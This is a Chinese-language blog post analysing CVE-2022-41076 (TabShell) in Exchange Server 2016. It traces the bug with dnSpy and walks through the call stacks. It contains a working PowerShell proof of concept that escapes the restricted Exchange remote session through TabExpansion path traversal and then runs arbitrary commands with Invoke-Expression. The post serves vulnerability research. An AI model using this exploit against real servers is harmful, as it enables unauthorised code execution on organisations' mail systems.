type
Post
status
Published
date
Feb 2, 2023
slug
123
summary
代码调试和堆栈跟踪
tags
C#
category
漏洞分析
icon
password
漏洞编号
CVE-2022-41076
No.
同步状态
状态
已完成
Author
 
PS:简单记录一下过程中的关键步骤和数据,相关知识点未作科普,言之无文

环境

Windows Server 2016 x64
Exchange Server 2016 CU21 build15.1.2308.27
已知一个普通用户类型的Exchange账号密码

漏洞详情(CVE-2022-41076)

  • 正常功能使用
普通exchange用户可以创建受限的远程powershell会话,此会话仅能运行白名单Exchange cmdlet+一些核心cmdlet,如Get-Command,Get-Mailbox,Get-Help等,代码如下
(参数备注:123123 为 用户密码,ceshi\Administrator 为 域\用户名,winser2016.ceshi.com 为 主机名.域名)
$secureString = ConvertTo-SecureString -String "123123" -AsPlainText -Force $UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "ceshi\Administrator", $secureString $sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://winser2016.ceshi.com/powershell -Credential $UserCredential -Authentication Kerberos -AllowRedirection -SessionOption $sessionOption Invoke-Command -Session $Session -ScriptBlock {get-mailbox}
notion image
  • 漏洞攻击过程
创建 powershell 会话时,攻击者传递 ApplicationArguments参数WSManStackVersion<3.0,在 initialSessionState 中启用公共 TabExpansion 函数,最终可以在受限的 powershell 会话中越权调用它。
此命令可以通过-line参数导入、加载任意模块,在此参数中利用路径遍历从文件系统中加载任意dll模块导入当前对话,自此可以不受限制的使用powershell危险的cmdletInvoke-Expression。利用代码如下
$secureString = ConvertTo-SecureString -String "123123" -AsPlainText -Force $UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "ceshi\Administrator", $secureString $version = New-Object -TypeName System.Version -ArgumentList "2.0" $mytable = $PSversionTable $mytable["WSManStackVersion"] = $version $sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -ApplicationArguments @{PSversionTable=$mytable} $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://winser2016.ceshi.com/powershell -Credential $UserCredential -Authentication Kerberos -AllowRedirection -SessionOption $sessionOption Invoke-Command -Session $Session -ScriptBlock { TabExpansion -line ";../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression" -lastWord "-test" } Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "[System.Security.Principal.WindowsIdentity]::GetCurrent().Name" } #获取当前用户名 Invoke-Command $session {Microsoft.PowerShell.Commands.Utility\Invoke-Expression "(new-object System.Diagnostics.Process)::Start('mspaint.exe')" } #起进程
notion image
对应 w3wp.exe 进程命令行参数
c:\windows\system32\inetsrv\w3wp.exe -ap "MSExchangePowerShellAppPool" -v "v4.0" -c "C:\Program Files\Microsoft\Exchange Server\V15\bin\GenericAppPoolConfigWithGCServerEnabledFalse.config" -a \\.\pipe\iisipma9729832-72e5-4c1a-bc52-b65a3c673a69 -h "C:\inetpub\temp\apppools\MSExchangePowerShellAppPool\MSExchangePowerShellAppPool.config" -w "" -m 0

dnspy调试

  1. 路径 C:\Windows\System32\inetsrv 下,cmd命令 appcmd list wp 查看iis进程
notion image
  1. dnspy附加对应进程(可通过POC起进程时其父w3wp.exe进程的命令行确定),调试→附加到进程,根据pid附加MSExchangePowerShellAppPoolw3wp.exe 进程
notion image
  1. 调试→窗口→模块,打开模块窗口,此处有两个System.Management.Automation.dll ,分别调试在DefaultDomain中和独立的Powershell appdomain中,经过下断点测试,参数传递的是独立app域中的dll,双击加载
C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
notion image
notion image
从分析文章 OWASSRF + TabShell 漏洞利用链 (viettelcybersecurity.com) 初步确定关键函数是加载外部模块的函数 LoadBinaryModule(Microsoft.PowerShell.Commands.ModuleCmdletBase)
notion image
  1. 打下断点启动调试
notion image
发poc,成功断下
notion image

三步攻击过程

第一步 目录穿越加载外部dll(Import-Module)

System.Management.Automation.CommandDiscovery类和LookupCommandInfo方法中。
首先使用 TryNormalSearch 方法,但如果找不到命令(null),则将调用 TryModuleAutoLoading 方法。在 TryModuleAutoLoading 方法中,模块名称(text2 变量)将从 commandName 解析
然后模块将使用自动加载指定模块方法加载dll模块和cmdlet
AutoloadSpecifiedMoudle方法cmdlet赋值为 Import-Module
notion image
接着来到 LoadBinaryModule 方法,查看局部变量获取到传入的 moduleNamefileName ,在此处加载dll
notion image
堆栈
notion image
notion image
notion image
返回到processrecord
notion image

第二步 加载外部dll的cmdlet(Invoke-Expression)

System.Management.Automation.CommandDiscovery类的LookupCommandInfo方法
System.Management.Automation.dll!System.Management.Automation.CommandDiscovery.TryModuleAutoLoading(string commandName, System.Management.Automation.ExecutionContext context, string originalCommandName, System.Management.Automation.CommandOrigin commandOrigin, System.Management.Automation.CommandInfo result, ref System.Exception lastError) (IL≈0x0182, Native=0x00007FFC4D902FD0+0x40D) 打下断点
 
notion image
这里拿到commandinfoInvoke-Expression
notion image
此时的调用栈
notion image
后续CreateCommandProcessor
notion image
堆栈
notion image

第三步 cmdlet执行其他命令

接着上一步获取到iex的参数为
notion image
堆栈
notion image
返回值commandProcessorBase
notion image
堆栈
notion image
 
加载cmdlet后,在 Microsoft.Powershell.Commands.Utility.dll(appdomain)模块中 Microsoft.Powershell.Commands.InvokeExpressionCommand类 断下,逐过程调试,在 System.Management.Automation.dll!System.Management.Automation.CommandProcessor.ProcessRecord() (IL=0x0175, Native=0x00007FFC4D86B9B0+0x50D) 获取到cmdlet的参数,即执行的命令
notion image
此时的调用栈
notion image
逐语句跟进到InvokeWithPipeLmpl ,经 RunVoid1 来到 InterpreterRun函数
notion image
执行命令
notion image
完整堆栈
notion image
notion image
最后返回值
notion image
 
继续调试另一个iex命令
notion image
解析iex命令的时候对new-object这个cmdlet又进行了lookup
notion image
此时调用栈
notion image
notion image
之后来到doexecute
notion image
此时堆栈
notion image
notion image
 
 
 

白名单cmdlet调用

TryNormalSearch断点
notion image
接着来到这,在System.Management.Automation.CommandProcessor类的ProcessRecord方法打断点
notion image
此时的调用栈
notion image
最后经过Run函数(System.Management.Automation.Interpreter.EnterTryCatchFinallyInstruction)捕获异常
notion image
执行成功时堆栈
notion image
执行完命令结束程序时的堆栈
notion image
 

参考

 
 
 
MiniCMS代码执行漏洞Dedecms article_coonepage_rule.php SQL注入漏洞(CVE-2022-23337)